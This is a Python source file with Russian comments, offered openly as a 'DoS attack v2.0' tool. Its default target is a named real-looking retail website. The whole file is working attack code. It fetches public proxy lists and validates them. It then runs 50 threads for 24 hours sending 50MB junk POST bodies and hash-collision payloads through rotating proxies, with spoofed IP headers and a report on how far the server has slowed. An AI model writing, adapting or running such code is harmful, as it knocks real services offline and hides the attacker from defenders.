🔥 DoS Attack v2.0 - Optimized with SpeedX proxies and validation

simple_dos_server_v2.py

#!/usr/bin/env python3
"""
🔥 УЛУЧШЕННАЯ АГРЕССИВНАЯ DoS АТАКА ДЛЯ СЕРВЕРОВ 🔥
Версия 2.0 с проверкой прокси и оптимизацией

Использование:
python3 simple_dos_server_v2.py
python3 simple_dos_server_v2.py --target https://example.com --threads 50 --duration 3600
curl -s https://your-server.com/simple_dos_server_v2.py | python3
"""

import requests
import threading
import time
import random
import os
import sys
import argparse
from datetime import datetime
from collections import deque
import json
import concurrent.futures

# Автоматическая установка зависимостей
def install_requirements():
    """Автоматически устанавливает необходимые зависимости"""
    try:
        import requests
    except ImportError:
        print("📦 Устанавливаю requests...")
        os.system(f"{sys.executable} -m pip install requests")
        import requests

# --- КОНФИГУРАЦИЯ ПО УМОЛЧАНИЮ ---
DEFAULT_CONFIG = {
    'target_url': "https://bertazzoni.com.ru/bertazzoni/?limit=1000",
    'thread_count': 50,  # Уменьшил для стабильности
    'attack_duration': 86400,  # 24 часа
    'proxy_file': "proxy.txt",
    'log_interval': 5,  # Логи каждые 5 секунд
    'auto_proxy_download': True,
    'proxy_sources': [
        {"type": "http", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "timeout": 5},
        {"type": "socks4", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks4.txt", "timeout": 5},
        {"type": "socks5", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks5.txt", "timeout": 5}
    ],
    'proxy_test_count': 100,  # Тестируем первые 100 прокси
    'memory_bomb_size': 50000000,  # 50MB вместо 500MB
    'request_timeout': 30  # 30 сек вместо 60
}

# Глобальные переменные
proxies = []
working_proxies = []
dead_proxies = set()
proxy_types = {}  # Тип каждого прокси
stats = {
    'total': 0,
    'success': 0,
    'failed': 0,
    'times': deque(maxlen=100),
    'proxy_success': {},
    'proxy_failed': {},
    'server_status': 'Unknown',
    'start_time': None,
    'last_response_time': 0,
    'requests_per_second': 0,
    'avg_response_time': 0,
    'attack_running': False
}
lock = threading.Lock()

def log(message, level="INFO"):
    """Простое логирование"""
    timestamp = datetime.now().strftime("%H:%M:%S")
    print(f"[{timestamp}] [{level}] {message}")

def download_proxies():
    """Скачивает прокси из источников SpeedX"""
    log("🌐 Скачиваю качественные прокси от SpeedX...")
    all_proxies = []
    
    for source in DEFAULT_CONFIG['proxy_sources']:
        try:
            log(f"📥 Загружаю {source['type']} прокси...")
            response = requests.get(source['url'], timeout=source['timeout'])
            if response.status_code == 200:
                proxies_from_source = [line.strip() for line in response.text.split('\n') if line.strip()]
                # Добавляем тип прокси к каждому
                for proxy in proxies_from_source:
                    all_proxies.append(proxy)
                    proxy_types[proxy] = source['type']
                log(f"✅ Получено {len(proxies_from_source)} {source['type']} прокси")
        except Exception as e:
            log(f"❌ Ошибка загрузки {source['type']} прокси: {e}", "ERROR")
    
    # Сохраняем в файл
    if all_proxies:
        with open(DEFAULT_CONFIG['proxy_file'], 'w') as f:
            for proxy in all_proxies:
                f.write(f"{proxy}|{proxy_types.get(proxy, 'http')}\n")
        log(f"💾 Сохранено {len(all_proxies)} прокси в {DEFAULT_CONFIG['proxy_file']}")
        return True
    return False

def load_proxies():
    """Загружает прокси из файла или скачивает их"""
    global proxies, proxy_types
    
    # Пытаемся загрузить из файла
    if os.path.exists(DEFAULT_CONFIG['proxy_file']):
        try:
            with open(DEFAULT_CONFIG['proxy_file'], 'r', encoding='utf-8') as f:
                for line in f:
                    line = line.strip()
                    if line:
                        if '|' in line:
                            proxy, ptype = line.split('|', 1)
                            proxies.append(proxy)
                            proxy_types[proxy] = ptype
                        else:
                            proxies.append(line)
                            proxy_types[line] = 'http'
            if proxies:
                log(f"📋 Загружено {len(proxies)} прокси из файла")
                return True
        except Exception as e:
            log(f"❌ Ошибка чтения файла прокси: {e}", "ERROR")
    
    # Если файла нет или он пустой, скачиваем
    if DEFAULT_CONFIG['auto_proxy_download']:
        if download_proxies():
            return load_proxies()  # Рекурсивно загружаем после скачивания
    
    log("❌ Не удалось загрузить прокси", "ERROR")
    return False

def format_proxy(proxy_url, proxy_type='http'):
    """Форматирует прокси для requests"""
    if proxy_type == 'socks4':
        if not proxy_url.startswith('socks4://'):
            proxy_url = 'socks4://' + proxy_url
    elif proxy_type == 'socks5':
        if not proxy_url.startswith('socks5://'):
            proxy_url = 'socks5://' + proxy_url
    else:  # http
        if not proxy_url.startswith(('http://', 'https://')):
            proxy_url = 'http://' + proxy_url
    
    return {
        'http': proxy_url,
        'https': proxy_url
    }

def test_proxy(proxy_url, test_url="http://httpbin.org/ip"):
    """Тестирует один прокси"""
    try:
        proxy_type = proxy_types.get(proxy_url, 'http')
        proxy_dict = format_proxy(proxy_url, proxy_type)
        
        start_time = time.time()
        response = requests.get(test_url, proxies=proxy_dict, timeout=5)
        response_time = time.time() - start_time
        
        if response.status_code == 200 and response_time < 10:  # Быстрые прокси
            return True, response_time
    except:
        pass
    return False, 0

def validate_proxies():
    """Проверяет работоспособность прокси"""
    global proxies, working_proxies
    if not proxies:
        return
    
    test_count = min(DEFAULT_CONFIG['proxy_test_count'], len(proxies))
    log(f"🔍 Проверяю {test_count} прокси на работоспособность...")
    
    test_proxies = random.sample(proxies, test_count)
    working_proxies = []
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
        future_to_proxy = {executor.submit(test_proxy, proxy): proxy for proxy in test_proxies}
        
        for future in concurrent.futures.as_completed(future_to_proxy):
            proxy = future_to_proxy[future]
            try:
                is_working, response_time = future.result()
                if is_working:
                    working_proxies.append(proxy)
                    log(f"✅ Рабочий прокси: {proxy} ({response_time:.2f}s)")
                else:
                    dead_proxies.add(proxy)
            except Exception as e:
                dead_proxies.add(proxy)
    
    log(f"🎯 Найдено {len(working_proxies)} рабочих прокси из {test_count} протестированных")
    
    # Если рабочих прокси мало, используем все
    if len(working_proxies) < 10:
        log("⚠️ Мало рабочих прокси, использую все загруженные")
        working_proxies = proxies.copy()

def get_random_proxy():
    """Возвращает случайный рабочий прокси"""
    if not working_proxies:
        return None
    return random.choice(working_proxies)

def lightweight_attack(target_url):
    """Легкая атака с меньшим объемом данных"""
    proxy_url = get_random_proxy()
    if not proxy_url:
        return False
    
    try:
        proxy_type = proxy_types.get(proxy_url, 'http')
        proxy_dict = format_proxy(proxy_url, proxy_type)
        
        # Меньший объем данных для стабильности
        attack_data = {
            'data': 'A' * DEFAULT_CONFIG['memory_bomb_size'],
            'attack_type': 'memory_exhaustion',
            'timestamp': str(time.time())
        }
        
        start_time = time.time()
        response = requests.post(
            target_url,
            data=attack_data,
            headers={
                'Content-Type': 'application/x-www-form-urlencoded',
                'User-Agent': f'DoS-Attack/2.0-{random.randint(1000,9999)}',
                'Connection': 'close',
                'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
                'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
            },
            proxies=proxy_dict,
            timeout=DEFAULT_CONFIG['request_timeout']
        )
        response_time = time.time() - start_time
        
        with lock:
            stats['success'] += 1
            stats['total'] += 1
            stats['times'].append(response_time)
            stats['last_response_time'] = response_time
            
            if proxy_url not in stats['proxy_success']:
                stats['proxy_success'][proxy_url] = 0
            stats['proxy_success'][proxy_url] += 1
            
            # Определяем статус сервера
            if response_time > 15:
                stats['server_status'] = 'КРИТИЧЕСКИ ПЕРЕГРУЖЕН'
            elif response_time > 10:
                stats['server_status'] = 'СИЛЬНО ПЕРЕГРУЖЕН'
            elif response_time > 5:
                stats['server_status'] = 'ПЕРЕГРУЖЕН'
            elif response_time > 2:
                stats['server_status'] = 'ПОД НАГРУЗКОЙ'
            else:
                stats['server_status'] = 'СТАБИЛЬНЫЙ'
            
        return True
        
    except Exception as e:
        with lock:
            stats['failed'] += 1
            stats['total'] += 1
            
            if proxy_url not in stats['proxy_failed']:
                stats['proxy_failed'][proxy_url] = 0
            stats['proxy_failed'][proxy_url] += 1
            
            # Удаляем нерабочий прокси из списка рабочих
            if proxy_url in working_proxies:
                working_proxies.remove(proxy_url)
            dead_proxies.add(proxy_url)
            
        return False

def hash_collision_attack(target_url):
    """Оптимизированная hash collision атака"""
    proxy_url = get_random_proxy()
    if not proxy_url:
        return False
    
    try:
        proxy_type = proxy_types.get(proxy_url, 'http')
        proxy_dict = format_proxy(proxy_url, proxy_type)
        
        # Меньше коллизий для стабильности
        collision_data = {}
        for i in range(10000):  # Уменьшил с 30000
            key = f"0e{i:015d}"
            collision_data[key] = f"collision_{i}"
        
        start_time = time.time()
        response = requests.post(
            target_url,
            data=collision_data,
            headers={
                'User-Agent': f'HashCollision-Attack/2.0-{random.randint(1000,9999)}',
                'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
            },
            proxies=proxy_dict,
            timeout=DEFAULT_CONFIG['request_timeout']
        )
        response_time = time.time() - start_time
        
        with lock:
            stats['success'] += 1
            stats['total'] += 1
            stats['times'].append(response_time)
            stats['last_response_time'] = response_time
            
            if proxy_url not in stats['proxy_success']:
                stats['proxy_success'][proxy_url] = 0
            stats['proxy_success'][proxy_url] += 1
            
        return True
        
    except Exception as e:
        with lock:
            stats['failed'] += 1
            stats['total'] += 1
            
            if proxy_url not in stats['proxy_failed']:
                stats['proxy_failed'][proxy_url] = 0
            stats['proxy_failed'][proxy_url] += 1
            
            if proxy_url in working_proxies:
                working_proxies.remove(proxy_url)
            dead_proxies.add(proxy_url)
            
        return False

def combined_attack_worker(target_url, duration):
    """Комбинированная атака с прокси"""
    start_time = time.time()
    
    while stats['attack_running'] and (time.time() - start_time) < duration:
        if len(working_proxies) == 0:
            log("❌ Нет рабочих прокси, останавливаю поток", "ERROR")
            break
            
        # Чередуем типы атак
        if random.choice([True, False]):
            lightweight_attack(target_url)
        else:
            hash_collision_attack(target_url)
        
        # Меньшая задержка для большей интенсивности
        time.sleep(random.uniform(0.05, 0.2))

def calculate_rps():
    """Вычисляет запросы в секунду"""
    if not stats['start_time']:
        return 0
    
    elapsed = time.time() - stats['start_time']
    if elapsed > 0:
        return stats['total'] / elapsed
    return 0

def get_avg_response_time():
    """Вычисляет среднее время ответа"""
    if stats['times']:
        return sum(stats['times']) / len(stats['times'])
    return 0

def print_stats():
    """Выводит статистику в консоль"""
    if stats['total'] == 0:
        return
    
    success_rate = (stats['success'] / stats['total']) * 100
    rps = calculate_rps()
    avg_time = get_avg_response_time()
    elapsed = time.time() - stats['start_time'] if stats['start_time'] else 0
    
    log("=" * 80)
    log(f"📊 СТАТИСТИКА АТАКИ")
    log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
    log(f"⏰ Время работы: {elapsed:.0f}с")
    log(f"📈 Всего запросов: {stats['total']:,}")
    log(f"✅ Успешных: {stats['success']:,} ({success_rate:.1f}%)")
    log(f"❌ Неудачных: {stats['failed']:,}")
    log(f"🚀 Скорость: {rps:.1f} req/sec")
    log(f"⏱️ Среднее время ответа: {avg_time:.3f}с")
    log(f"🌐 Рабочих прокси: {len(working_proxies):,}")
    log(f"💀 Мертвых прокси: {len(dead_proxies):,}")
    log(f"🔥 Статус сервера: {stats['server_status']}")
    log("=" * 80)

def stats_monitor(log_interval):
    """Мониторинг статистики в отдельном потоке"""
    while stats['attack_running']:
        time.sleep(log_interval)
        if stats['attack_running']:
            print_stats()

def parse_arguments():
    """Парсит аргументы командной строки"""
    parser = argparse.ArgumentParser(description='🔥 Улучшенная DoS атака для серверов v2.0')
    parser.add_argument('--target', '-t', default=DEFAULT_CONFIG['target_url'], 
                       help='URL цели для атаки')
    parser.add_argument('--threads', '-th', type=int, default=DEFAULT_CONFIG['thread_count'],
                       help='Количество потоков')
    parser.add_argument('--duration', '-d', type=int, default=DEFAULT_CONFIG['attack_duration'],
                       help='Длительность атаки в секундах')
    parser.add_argument('--proxy-file', '-p', default=DEFAULT_CONFIG['proxy_file'],
                       help='Файл с прокси')
    parser.add_argument('--log-interval', '-l', type=int, default=DEFAULT_CONFIG['log_interval'],
                       help='Интервал вывода статистики в секундах')
    parser.add_argument('--no-auto-proxy', action='store_true',
                       help='Отключить автоматическое скачивание прокси')
    parser.add_argument('--no-proxy-test', action='store_true',
                       help='Отключить предварительную проверку прокси')
    parser.add_argument('--silent', '-s', action='store_true',
                       help='Тихий режим (минимум логов)')
    
    return parser.parse_args()

def main():
    """Основная функция"""
    global stats
    
    # Устанавливаем зависимости
    install_requirements()
    
    # Парсим аргументы
    args = parse_arguments()
    
    # Обновляем конфигурацию
    DEFAULT_CONFIG['target_url'] = args.target
    DEFAULT_CONFIG['thread_count'] = args.threads
    DEFAULT_CONFIG['attack_duration'] = args.duration
    DEFAULT_CONFIG['proxy_file'] = args.proxy_file
    DEFAULT_CONFIG['log_interval'] = args.log_interval
    DEFAULT_CONFIG['auto_proxy_download'] = not args.no_auto_proxy
    
    if not args.silent:
        log("🔥🔥🔥 ЗАПУСК УЛУЧШЕННОЙ DoS АТАКИ v2.0 🔥🔥🔥")
        log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
        log(f"🧵 Потоков: {DEFAULT_CONFIG['thread_count']}")
        log(f"⏰ Длительность: {DEFAULT_CONFIG['attack_duration']} секунд")
        log("🚀 Методы: Lightweight Memory + Hash Collision + Proxy Rotation")
    
    # Загружаем прокси
    if not load_proxies():
        log("❌ Не удалось загрузить прокси. Завершение работы.", "ERROR")
        return 1
    
    if not args.silent:
        log(f"✅ Загружено {len(proxies):,} прокси")
    
    # Проверяем прокси
    if not args.no_proxy_test and not args.silent:
        validate_proxies()
    else:
        working_proxies.extend(proxies)
    
    if not working_proxies:
        log("❌ Нет рабочих прокси. Завершение работы.", "ERROR")
        return 1
    
    if not args.silent:
        log(f"🎯 Используется {len(working_proxies):,} рабочих прокси")
        log("🚀 Начинаю атаку...")
    
    stats['start_time'] = time.time()
    stats['attack_running'] = True
    
    # Запускаем атакующие потоки
    threads = []
    for i in range(DEFAULT_CONFIG['thread_count']):
        thread = threading.Thread(
            target=combined_attack_worker, 
            args=(DEFAULT_CONFIG['target_url'], DEFAULT_CONFIG['attack_duration'])
        )
        thread.daemon = True
        threads.append(thread)
        thread.start()
    
    # Запускаем мониторинг статистики
    if not args.silent:
        stats_thread = threading.Thread(
            target=stats_monitor, 
            args=(DEFAULT_CONFIG['log_interval'],)
        )
        stats_thread.daemon = True
        stats_thread.start()
    
    # Ждем завершения атаки
    try:
        start_time = time.time()
        while stats['attack_running'] and (time.time() - start_time) < DEFAULT_CONFIG['attack_duration']:
            time.sleep(1)
            
        stats['attack_running'] = False
        
        if not args.silent:
            log("🔥 АТАКА ЗАВЕРШЕНА 🔥")
            print_stats()
            
            # Финальная оценка
            avg_time = get_avg_response_time()
            if avg_time > 15.0:
                log("🔥🔥🔥🔥 СЕРВЕР ПОЛНОСТЬЮ ПАРАЛИЗОВАН! 🔥🔥🔥🔥")
            elif avg_time > 10.0:
                log("🔥🔥🔥 СЕРВЕР КРИТИЧЕСКИ ПЕРЕГРУЖЕН! 🔥🔥🔥")
            elif avg_time > 5.0:
                log("🔥🔥 СЕРВЕР СИЛЬНО ЗАМЕДЛИЛСЯ! 🔥🔥")
            elif avg_time > 2.0:
                log("🔥 Сервер под серьезной нагрузкой! 🔥")
            else:
                log("⚠️ Сервер устоял против атаки")
        
        return 0
        
    except KeyboardInterrupt:
        stats['attack_running'] = False
        if not args.silent:
            log("🛑 АТАКА ОСТАНОВЛЕНА ПОЛЬЗОВАТЕЛЕМ")
        return 0

if __name__ == "__main__":
    sys.exit(main())